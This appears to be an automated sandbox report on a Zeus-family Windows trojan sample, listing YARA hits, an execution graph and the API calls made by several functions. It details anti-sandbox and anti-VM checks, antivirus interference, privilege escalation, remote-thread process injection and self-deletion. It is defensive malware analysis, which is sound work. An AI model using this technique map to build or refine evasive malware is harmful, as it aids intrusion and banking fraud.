                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000027.00000002.2195084905.0000000002580000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000027.00000002.2195203697.00000000026E0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                    Disassembly

                                                                                                                                                                                                                    Reset < >

                                                                                                                                                                                                                      Execution Graph

                                                                                                                                                                                                                      Execution Coverage:1.6%
                                                                                                                                                                                                                      Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                      Signature Coverage:62.9%
                                                                                                                                                                                                                      Total number of Nodes:259
                                                                                                                                                                                                                      Total number of Limit Nodes:16
                                                                                                                                                                                                                      execution_graph 21191 401000 21192 401017 21191->21192 21193 401139 21191->21193 21192->21193 21194 401028 CreateFileA 21192->21194 21194->21193 21195 40104a 21194->21195 21209 401e00 GetCurrentThread OpenThreadToken 21195->21209 21198 401053 ConvertStringSecurityDescriptorToSecurityDescriptorW 21199 4010aa SetFilePointer LockFile WriteFile UnlockFile 21198->21199 21200 40106a GetSecurityDescriptorSacl 21198->21200 21201 401105 21199->21201 21202 4010f5 SetEndOfFile 21199->21202 21203 4010a0 LocalFree 21200->21203 21204 40108b SetNamedSecurityInfoA 21200->21204 21205 401113 GetHandleInformation 21201->21205 21206 40112f 21201->21206 21202->21201 21203->21199 21204->21203 21205->21206 21207 401122 21205->21207 21207->21206 21208 401128 CloseHandle 21207->21208 21208->21206 21210 401e21 GetCurrentProcess OpenProcessToken 21209->21210 21211 401e38 LookupPrivilegeValueA 21209->21211 21210->21211 21214 40104f 21210->21214 21212 401e82 CloseHandle 21211->21212 21213 401e5b AdjustTokenPrivileges 21211->21213 21212->21214 21213->21212 21215 401e75 GetLastError 21213->21215 21214->21198 21214->21199 21215->21212 21216 401e7f 21215->21216 21216->21212 21217 402d30 LoadLibraryA GetModuleFileNameA 21289 403a20 RegOpenKeyExA 21217->21289 21220 402d64 ExitProcess 21221 402d6c 21304 4021d0 CreateFileA 21221->21304 21226 402da1 21315 402360 CreateFileA 21226->21315 21227 402d89 GetTickCount PostMessageA 21227->21226 21236 402dc1 21425 401ea0 40 API calls 21236->21425 21237 402de3 IsUserAnAdmin GetModuleHandleA 21239 402e1c 21237->21239 21240 402dfd GetProcAddress 21237->21240 21241 402e22 21239->21241 21242 402e6e 21239->21242 21240->21239 21244 402e0f GetCurrentProcess 21240->21244 21245 402e26 StrStrIA 21241->21245 21246 402e3c 21241->21246 21249 402e76 StrStrIA 21242->21249 21250 402efd 21242->21250 21243 402dc6 21247 402dd2 21243->21247 21248 402dca ExitProcess 21243->21248 21244->21239 21245->21246 21253 402e5f 21245->21253 21341 402930 RegCreateKeyExA 21246->21341 21426 403560 70 API calls 21247->21426 21251 402ea1 21249->21251 21252 402e8c 21249->21252 21255 402930 9 API calls 21250->21255 21258 402a70 88 API calls 21251->21258 21257 402930 9 API calls 21252->21257 21381 402a70 VirtualQuery GetModuleFileNameA 21253->21381 21260 402f08 GlobalFindAtomA 21255->21260 21263 402e97 21257->21263 21264 402ea6 GlobalFindAtomA 21258->21264 21266 402f58 ExitProcess 21260->21266 21267 402f18 GlobalAddAtomA IsUserAnAdmin 21260->21267 21262 402dd7 21262->21237 21269 402ddb ExitProcess 21262->21269 21427 4028d0 43 API calls 21263->21427 21271 402ef6 21264->21271 21272 402eb6 GlobalAddAtomA IsUserAnAdmin 21264->21272 21274 402f39 IsUserAnAdmin 21267->21274 21275 402f29 21267->21275 21277 4012b0 9 API calls 21271->21277 21279 402ed7 IsUserAnAdmin 21272->21279 21280 402ec7 21272->21280 21281 402f44 21274->21281 21275->21274 21278 402e69 21277->21278 21278->21266 21282 402ee2 21279->21282 21280->21279 21429 4015a0 7 API calls 21281->21429 21428 4015a0 7 API calls 21282->21428 21285 402f4f 21285->21266 21287 401670 32 API calls 21285->21287 21286 402eed 21286->21271 21288 401670 32 API calls 21286->21288 21287->21266 21288->21271 21290 403a6a RegQueryValueExA 21289->21290 21291 403acd GetUserNameA CharUpperA strstr 21289->21291 21292 403a9b RegCloseKey 21290->21292 21293 403a8f RegCloseKey 21290->21293 21294 402d60 21291->21294 21295 403b0b strstr 21291->21295 21292->21291 21296 403aae 21292->21296 21293->21291 21294->21220 21294->21221 21295->21294 21297 403b24 strstr 21295->21297 21296->21291 21296->21294 21297->21294 21298 403b3d GetSystemWindowsDirectoryA GetVolumeInformationA 21297->21298 21298->21294 21299 403b7d 21298->21299 21299->21294 21300 403b99 GetModuleFileNameA StrStrIA 21299->21300 21300->21294 21301 403bc5 StrStrIA 21300->21301 21301->21294 21302 403bd7 StrStrIA 21301->21302 21302->21294 21303 403be9 21302->21303 21303->21294 21305 402350 21304->21305 21306 402320 DeviceIoControl CloseHandle 21304->21306 21307 4020e0 memset SHGetFolderPathA 21305->21307 21306->21305 21308 4021a7 21307->21308 21309 40213e PathAppendA SetCurrentDirectoryA 21307->21309 21311 4021b2 FindWindowA 21308->21311 21312 4021ab FreeLibrary 21308->21312 21309->21308 21310 402161 LoadLibraryA 21309->21310 21310->21308 21313 402175 GetProcAddress 21310->21313 21311->21226 21311->21227 21312->21311 21313->21308 21314 402185 21313->21314 21314->21308 21316 402403 WriteFile GetSystemTimeAsFileTime WriteFile CloseHandle 21315->21316 21317 402444 21315->21317 21316->21317 21318 402450 SHGetFolderPathA 21317->21318 21319 402535 21318->21319 21320 402477 21318->21320 21322 402540 SHGetFolderPathA 21319->21322 21320->21320 21321 4024ec MoveFileA 21320->21321 21321->21319 21323 40266f 21322->21323 21324 40256b CreateFileA 21322->21324 21327 402680 CoInitializeEx 21323->21327 21324->21323 21326 4025d1 11 API calls 21324->21326 21326->21323 21328 4026ae 21327->21328 21329 4026bf GetModuleFileNameW SysAllocString 21327->21329 21328->21329 21331 4028c4 IsUserAnAdmin 21328->21331 21330 4026ed SysAllocString 21329->21330 21335 402866 21329->21335 21332 402853 SysFreeString 21330->21332 21333 4026fe CoCreateInstance 21330->21333 21331->21236 21331->21237 21334 402863 SysFreeString 21332->21334 21332->21335 21337 402725 21333->21337 21339 402827 21333->21339 21334->21335 21335->21331 21336 4028be CoUninitialize 21335->21336 21336->21331 21337->21332 21338 4027b3 CoCreateInstance 21337->21338 21337->21339 21340 4027d5 21338->21340 21339->21332 21340->21339 21342 402975 GetEnvironmentVariableA PathAddBackslashA GetVolumeInformationA _snprintf 21341->21342 21343 4029fd RegCreateKeyExA 21341->21343 21344 4029e0 21342->21344 21343->21344 21345 402a44 21343->21345 21344->21344 21348 402a3e RegSetValueExA 21344->21348 21346 402a4c RegFlushKey RegCloseKey 21345->21346 21347 402a5d GetCurrentProcessId 21345->21347 21346->21347 21349 401670 21347->21349 21348->21345 21350 4018d8 Sleep 21349->21350 21352 401686 21349->21352 21350->21266 21353 4016a5 21352->21353 21354 40169b Sleep 21352->21354 21430 401cf0 11 API calls 21352->21430 21431 401cf0 11 API calls 21353->21431 21354->21352 21354->21353 21356 4016ac 21357 4018d3 21356->21357 21358 4016b4 OpenProcess 21356->21358 21357->21350 21358->21357 21359 4016cf GetModuleHandleA 21358->21359 21360 401706 21359->21360 21361 4016eb GetProcAddress 21359->21361 21363 40170c GetModuleHandleA 21360->21363 21364 40173f VirtualAllocEx 21360->21364 21361->21360 21362 4016f9 GetCurrentProcess 21361->21362 21362->21360 21365 401722 GetProcAddress 21363->21365 21368 40172e 21363->21368 21366 4018b0 GetHandleInformation 21364->21366 21367 401782 WriteProcessMemory 21364->21367 21365->21368 21366->21357 21369 4018c6 21366->21369 21370 4017ae 21367->21370 21371 40181f WriteProcessMemory FlushInstructionCache CreateRemoteThread 21367->21371 21368->21364 21368->21366 21369->21357 21374 4018cc CloseHandle 21369->21374 21375 4017b1 VirtualAlloc 21370->21375 21379 401819 21370->21379 21372 401862 GetHandleInformation 21371->21372 21373 40188e RtlCreateUserThread 21371->21373 21376 401885 21372->21376 21377 401878 21372->21377 21373->21366 21374->21357 21375->21370 21378 4017c9 memcpy WriteProcessMemory VirtualFree 21375->21378 21376->21366 21377->21376 21380 40187e CloseHandle 21377->21380 21378->21370 21379->21371 21380->21376 21382 402ad0 21381->21382 21382->21382 21383 402adf PathFileExistsA 21382->21383 21384 402af2 GetSystemWindowsDirectoryA 21383->21384 21385 402bf9 _snprintf CopyFileA 21383->21385 21386 402b07 21384->21386 21387 402d26 21385->21387 21388 402c36 21385->21388 21386->21386 21389 402b0f GetModuleHandleA 21386->21389 21420 4012b0 VirtualQuery GetModuleFileNameA PathFileExistsA 21387->21420 21390 402930 9 API calls 21388->21390 21391 402b67 21389->21391 21392 402b47 GetProcAddress 21389->21392 21393 402c3f 21390->21393 21395 402b96 GetTickCount 21391->21395 21396 402b6d 21391->21396 21392->21391 21394 402b59 GetCurrentProcess 21392->21394 21432 401b20 21393->21432 21394->21391 21482 401390 GetTickCount GetModuleHandleA GetProcAddress 21395->21482 21396->21385 21401 402ba2 21483 401420 GetTickCount GetModuleHandleA GetProcAddress 21401->21483 21404 402c59 RtlImageNtHeader 21406 402c64 EntryPoint 21404->21406 21407 402c7d GetProcessHeap HeapValidate 21404->21407 21405 402c9d 21460 401be0 CreateFileA 21405->21460 21406->21407 21407->21405 21409 402c92 GetProcessHeap HeapFree 21407->21409 21409->21405 21411 402cef 21414 402cff GlobalFindAtomA 21411->21414 21471 4014b0 memset memset lstrcpynA CreateProcessA 21411->21471 21412 402ccf GetProcAddress 21412->21411 21413 402ce1 GetCurrentProcess 21412->21413 21413->21411 21416 402d1b GlobalAddAtomA 21414->21416 21417 402d0f 21414->21417 21416->21387 21418 4012b0 9 API calls 21417->21418 21419 402d14 ExitProcess 21418->21419 21421 40137f 21420->21421 21422 40130c GetTempPathA GetTempFileNameA MoveFileExA 21420->21422 21421->21278 21422->21421 21423 401353 SetFileAttributesA DeleteFileA 21422->21423 21423->21421 21424 401373 MoveFileExA 21423->21424 21424->21421 21425->21243 21426->21262 21427->21278 21428->21286 21429->21285 21430->21352 21431->21356 21433 401bd7 21432->21433 21434 401b3b 21432->21434 21444 401150 21433->21444 21435 401150 16 API calls 21434->21435 21436 401b44 21435->21436 21436->21433 21437 401b4e RtlImageNtHeader 21436->21437 21438 401bb5 GetProcessHeap HeapValidate 21437->21438 21439 401b5b GetTickCount GetModuleHandleA 21437->21439 21438->21433 21440 401bcb GetProcessHeap HeapFree 21438->21440 21441 401b95 EntryPoint 21439->21441 21442 401b7e GetProcAddress 21439->21442 21440->21433 21441->21438 21442->21441 21443 401b8e 21442->21443 21443->21441 21445 401166 CreateFileA 21444->21445 21446 40127b 21444->21446 21445->21446 21448 401188 GetFileSizeEx 21445->21448 21447 401282 IsBadWritePtr 21446->21447 21449 401291 21446->21449 21447->21449 21450 4011a7 GetProcessHeap RtlAllocateHeap 21448->21450 21456 40124a 21448->21456 21449->21404 21449->21405 21451 4011d5 21450->21451 21452 4011c6 memset 21450->21452 21454 4011dc SetFilePointer LockFile ReadFile UnlockFile 21451->21454 21451->21456 21452->21451 21453 40125f GetHandleInformation 21453->21446 21455 40126e 21453->21455 21454->21456 21457 401228 GetProcessHeap HeapValidate 21454->21457 21455->21446 21458 401274 CloseHandle 21455->21458 21456->21446 21456->21453 21457->21456 21459 40123e GetProcessHeap HeapFree 21457->21459 21458->21446 21459->21456 21461 401c12 GetFileTime 21460->21461 21462 401ca5 MoveFileExA GetModuleHandleA 21460->21462 21463 401c30 GetHandleInformation 21461->21463 21464 401c4c CreateFileA 21461->21464 21462->21411 21462->21412 21463->21464 21465 401c3f 21463->21465 21464->21462 21466 401c6b SetFileTime 21464->21466 21465->21464 21467 401c45 CloseHandle 21465->21467 21466->21462 21468 401c89 GetHandleInformation 21466->21468 21467->21464 21468->21462 21469 401c98 21468->21469 21469->21462 21470 401c9e CloseHandle 21469->21470 21470->21462 21472 401533 21471->21472 21473 40158f 21471->21473 21474 401545 GetHandleInformation 21472->21474 21475 40155d 21472->21475 21473->21414 21474->21475 21476 401550 21474->21476 21477 401581 21475->21477 21478 401569 GetHandleInformation 21475->21478 21476->21475 21479 401556 CloseHandle 21476->21479 21477->21414 21478->21477 21480 401574 21478->21480 21479->21475 21480->21477 21481 40157a CloseHandle 21480->21481 21481->21477 21482->21401 21483->21396 21486 401cb0 VirtualQuery 21487 406a70 GetPEB 21489 406b60 GetPEB GetPEB GetPEB 21485 4000f1 32 API calls 21488 403699 58 API calls 21484 40219a FreeLibrary

                                                                                                                                                                                                                      Executed Functions

                                                                                                                                                                                                                      Function 00402D30 Relevance: 64.9, APIs: 28, Strings: 9, Instructions: 157librarywindowCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                      control_flow_graph 0 402d30-402d62 LoadLibraryA GetModuleFileNameA call 403a20 3 402d64-402d66 ExitProcess 0->3 4 402d6c-402d87 call 4021d0 call 4020e0 FindWindowA 0->4 9 402da1-402dbf call 402360 call 402450 call 402540 call 402680 IsUserAnAdmin 4->9 10 402d89-402d9b GetTickCount PostMessageA 4->10 19 402dc1-402dc8 call 401ea0 9->19 20 402de3-402dfb IsUserAnAdmin GetModuleHandleA 9->20 10->9 30 402dd2-402dd9 call 403560 19->30 31 402dca-402dcc ExitProcess 19->31 22 402e1c-402e20 20->22 23 402dfd-402e0d GetProcAddress 20->23 24 402e22-402e24 22->24 25 402e6e-402e70 22->25 23->22 27 402e0f-402e19 GetCurrentProcess 23->27 28 402e26-402e3a StrStrIA 24->28 29 402e3c-402e5a call 402930 GetCurrentProcessId call 401670 Sleep 24->29 32 402e76-402e8a StrStrIA 25->32 33 402efd-402f16 call 402930 GlobalFindAtomA 25->33 27->22 28->29 36 402e5f-402e64 call 402a70 call 4012b0 28->36 49 402f58-402f5a ExitProcess 29->49 30->20 52 402ddb-402ddd ExitProcess 30->52 34 402ea1-402eb4 call 402a70 GlobalFindAtomA 32->34 35 402e8c-402e9c call 402930 call 4028d0 32->35 33->49 50 402f18-402f27 GlobalAddAtomA IsUserAnAdmin 33->50 54 402ef6-402efb call 4012b0 34->54 55 402eb6-402ec5 GlobalAddAtomA IsUserAnAdmin 34->55 35->49 66 402e69 36->66 57 402f39-402f42 IsUserAnAdmin 50->57 58 402f29-402f31 50->58 54->49 62 402ed7-402ee0 IsUserAnAdmin 55->62 63 402ec7-402ecf 55->63 64 402f44 57->64 65 402f49-402f51 call 4015a0 57->65 58->57 68 402ee2 62->68 69 402ee7-402eef call 4015a0 62->69 63->62 64->65 65->49 73 402f53 call 401670 65->73 66->49 68->69 69->54 75 402ef1 call 401670 69->75 73->49 75->54
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • LoadLibraryA.KERNEL32(user32.dll), ref: 00402D41
                                                                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00402D55
                                                                                                                                                                                                                        • Part of subcall function 00403A20: RegOpenKeyExA.KERNELBASE(80000002,HARDWARE\DESCRIPTION\System,00000000,00000101,?), ref: 00403A60
                                                                                                                                                                                                                        • Part of subcall function 00403A20: RegQueryValueExA.KERNELBASE(80000002,SystemBiosVersion,00000000,00000007,?,00000400), ref: 00403A85
                                                                                                                                                                                                                        • Part of subcall function 00403A20: RegCloseKey.ADVAPI32(?), ref: 00403A93
                                                                                                                                                                                                                        • Part of subcall function 00403A20: GetUserNameA.ADVAPI32(?,00000104), ref: 00403AD9
                                                                                                                                                                                                                        • Part of subcall function 00403A20: CharUpperA.USER32(?), ref: 00403AE6
                                                                                                                                                                                                                        • Part of subcall function 00403A20: strstr.MSVCRT ref: 00403AFE
                                                                                                                                                                                                                        • Part of subcall function 00403A20: strstr.MSVCRT ref: 00403B17
                                                                                                                                                                                                                        • Part of subcall function 00403A20: strstr.MSVCRT ref: 00403B30
                                                                                                                                                                                                                        • Part of subcall function 00403A20: GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 00403B49
                                                                                                                                                                                                                        • Part of subcall function 00403A20: GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00403B6D
                                                                                                                                                                                                                        • Part of subcall function 00403A20: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00403BA7
                                                                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 00402D66
                                                                                                                                                                                                                      • FindWindowA.USER32(____AVP.Root,00000000), ref: 00402D7D
                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 00402D89
                                                                                                                                                                                                                      • PostMessageA.USER32(00000000,00000466,00010001,00000000), ref: 00402D9B
                                                                                                                                                                                                                      • IsUserAnAdmin.SHELL32 ref: 00402DBB
                                                                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 00402DCC
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Namestrstr$ExitFileModuleProcessUser$AdminCharCloseCountDirectoryFindInformationLibraryLoadMessageOpenPostQuerySystemTickUpperValueVolumeWindowWindows
                                                                                                                                                                                                                      • String ID: IsWow64Process$Pnv$Wed Jul 6 06:49:26 20112$\apppatch\$____AVP.Root$explorer.exe$kernel32.dll$user32.dll$winlogon.exe
                                                                                                                                                                                                                      • API String ID: 3353599405-3115938722
                                                                                                                                                                                                                      • Opcode ID: 3ea638118beff029f17ac0200bc0c4ed4c7c13e890bf55d737871981aa78e3ae
                                                                                                                                                                                                                      • Instruction ID: a3246fa232e6b5ad05535f44e20517c4174ab377f4a657e755d7089196f7c676
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3ea638118beff029f17ac0200bc0c4ed4c7c13e890bf55d737871981aa78e3ae
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 085161B0640212ABDB1077B1DF0EB5B3668AF90785F10413ABB05F51E1DBFC9D818AAD
                                                                                                                                                                                                                      Function 00403A20 Relevance: 47.4, APIs: 15, Strings: 12, Instructions: 134registrystringCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                      control_flow_graph 127 403a20-403a68 RegOpenKeyExA 128 403a6a-403a8d RegQueryValueExA 127->128 129 403acd-403b05 GetUserNameA CharUpperA strstr 127->129 130 403a9b-403aac RegCloseKey 128->130 131 403a8f-403a99 RegCloseKey 128->131 132 403beb 129->132 133 403b0b-403b1e strstr 129->133 130->129 134 403aae-403ab5 130->134 131->129 135 403bec-403bf2 132->135 133->132 136 403b24-403b37 strstr 133->136 134->129 137 403ab7-403abe 134->137 136->132 138 403b3d-403b7b GetSystemWindowsDirectoryA GetVolumeInformationA 136->138 137->129 139 403ac0-403ac7 137->139 138->132 140 403b7d-403b82 138->140 139->129 139->135 140->132 141 403b84-403b89 140->141 141->132 142 403b8b-403b90 141->142 142->132 143 403b92-403b97 142->143 143->132 144 403b99-403bc3 GetModuleFileNameA StrStrIA 143->144 144->132 145 403bc5-403bd5 StrStrIA 144->145 145->132 146 403bd7-403be7 StrStrIA 145->146 146->132 147 403be9 146->147 147->132
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • RegOpenKeyExA.KERNELBASE(80000002,HARDWARE\DESCRIPTION\System,00000000,00000101,?), ref: 00403A60
                                                                                                                                                                                                                      • RegQueryValueExA.KERNELBASE(80000002,SystemBiosVersion,00000000,00000007,?,00000400), ref: 00403A85
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?), ref: 00403A93
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?), ref: 00403A9F
                                                                                                                                                                                                                      • GetUserNameA.ADVAPI32(?,00000104), ref: 00403AD9
                                                                                                                                                                                                                      • CharUpperA.USER32(?), ref: 00403AE6
                                                                                                                                                                                                                      • strstr.MSVCRT ref: 00403AFE
                                                                                                                                                                                                                      • strstr.MSVCRT ref: 00403B17
                                                                                                                                                                                                                      • strstr.MSVCRT ref: 00403B30
                                                                                                                                                                                                                      • GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 00403B49
                                                                                                                                                                                                                      • GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00403B6D
                                                                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00403BA7
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\sand-box\), ref: 00403BBF
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\cwsandbox\), ref: 00403BD1
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\sandbox\), ref: 00403BE3
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: strstr$CloseName$CharDirectoryFileInformationModuleOpenQuerySystemUpperUserValueVolumeWindows
                                                                                                                                                                                                                      • String ID: E$HARDWARE\DESCRIPTION\System$M$MALNETVM$Q$SANDBOX$SystemBiosVersion$U$VIRUSCLONE$\cwsandbox\$\sand-box\$\sandbox\
                                                                                                                                                                                                                      • API String ID: 1431998568-3499098167
                                                                                                                                                                                                                      • Opcode ID: 3caa7bba4dd23b12010071394e2641878e1989dd699c05cb0f3a9ea1e275d5a5
                                                                                                                                                                                                                      • Instruction ID: bae6937ecf4d77d63e68da0d133f8e08c9265e2213eddde9df9132157c3c9a9d
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3caa7bba4dd23b12010071394e2641878e1989dd699c05cb0f3a9ea1e275d5a5
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A841B8B1944218ABDB20DB54CD89FDF7B7C9B84705F1440AAE704B61C0D779AB448F98
                                                                                                                                                                                                                      Function 004021D0 Relevance: 36.8, APIs: 3, Strings: 18, Instructions: 81fileCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                      control_flow_graph 148 4021d0-40231e CreateFileA 149 402350-402355 148->149 150 402320-40234a DeviceIoControl CloseHandle 148->150 150->149
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • CreateFileA.KERNELBASE(\\.\KmxAgent,00000000,00000000,00000000,00000003,00000080,00000000), ref: 00402313
                                                                                                                                                                                                                      • DeviceIoControl.KERNEL32(00000000,86000054,000000B4,000000B4,?,00000004,?,00000000), ref: 00402343
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0040234A
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: CloseControlCreateDeviceFileHandle
                                                                                                                                                                                                                      • String ID: "$"$0$4$D$E$E$S$T$\\.\KmxAgent$d$e$g$m$m$s$t$t
                                                                                                                                                                                                                      • API String ID: 33631002-3172865025
                                                                                                                                                                                                                      • Opcode ID: e3633c6c15a619a578893c9fcc23eeae2132ba8b67b3abd9a16308d2c93bcb98
                                                                                                                                                                                                                      • Instruction ID: 06d3a0cb986842bbdb89303b9aef8d686ca65c5df34e7f93c7eeed45953a557b
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e3633c6c15a619a578893c9fcc23eeae2132ba8b67b3abd9a16308d2c93bcb98
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8E4184B0D01358DEEB20CF9599887DEBFB5BB04309F5081ADD6586B241C7BA0A89CF55
                                                                                                                                                                                                                      Function 00401150 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 133memoryfileCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                      control_flow_graph 151 401150-401160 152 401166-401182 CreateFileA 151->152 153 40127b-401280 151->153 152->153 156 401188-4011a1 GetFileSizeEx 152->156 154 401282-40128f IsBadWritePtr 153->154 155 40129f 153->155 157 4012a1-4012a7 154->157 158 401291-40129c 154->158 155->157 159 401254-40125d 156->159 160 4011a7-4011c4 GetProcessHeap RtlAllocateHeap 156->160 159->153 163 40125f-40126c GetHandleInformation 159->163 161 4011d5-4011da 160->161 162 4011c6-4011d2 memset 160->162 161->159 164 4011dc-401226 SetFilePointer LockFile ReadFile UnlockFile 161->164 162->161 163->153 165 40126e-401272 163->165 166 401251 164->166 167 401228-40123c GetProcessHeap HeapValidate 164->167 165->153 168 401274-401275 CloseHandle 165->168 166->159 169 40124a 167->169 170 40123e-401244 GetProcessHeap HeapFree 167->170 168->153 169->166 170->169
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • CreateFileA.KERNELBASE(G,@,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,00000000,?,?,?,00401B44,00000000,00000000), ref: 00401177
                                                                                                                                                                                                                      • GetFileSizeEx.KERNEL32(00000000,?,?,?,?,00401B44,00000000,00000000,?,00000000,00402C47), ref: 00401193
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,?,?,?,?,00401B44,00000000,00000000,?,00000000,00402C47), ref: 004011B3
                                                                                                                                                                                                                      • RtlAllocateHeap.NTDLL(00000000,?,?,?,00401B44,00000000,00000000,?,00000000,00402C47), ref: 004011BA
                                                                                                                                                                                                                      • memset.MSVCRT ref: 004011CD
                                                                                                                                                                                                                      • SetFilePointer.KERNELBASE(00000000,00000000,00000000,00000001,?,?,?,00401B44), ref: 004011EA
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,00401B44), ref: 004011FA
                                                                                                                                                                                                                      • ReadFile.KERNELBASE(00000000,00000000,?,00000000,00000000,?,?,?,00401B44), ref: 00401209
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00401B44,00000000,?,00000000,?,?,?,00401B44), ref: 0040121C
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401231
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 00401234
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401241
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 00401244
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000,?,?,?,00401B44,00000000,00000000), ref: 00401264
                                                                                                                                                                                                                      • CloseHandle.KERNELBASE(00000000,?,?,?,00401B44,00000000,00000000), ref: 00401275
                                                                                                                                                                                                                      • IsBadWritePtr.KERNEL32(?,00000004), ref: 00401285
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: FileHeap$Process$Handle$AllocateCloseCreateFreeInformationLockPointerReadSizeUnlockValidateWritememset
                                                                                                                                                                                                                      • String ID: G,@
                                                                                                                                                                                                                      • API String ID: 2214028410-3313068137
                                                                                                                                                                                                                      • Opcode ID: c87fe8c59a66a8ba2057550360fc396b9d9c5c1a7bae7684166c86d3e9f90a93
                                                                                                                                                                                                                      • Instruction ID: a7140257f329b7de85cf1082c2828f4b6f45ca3281c26892c76bebf1ae027e6a
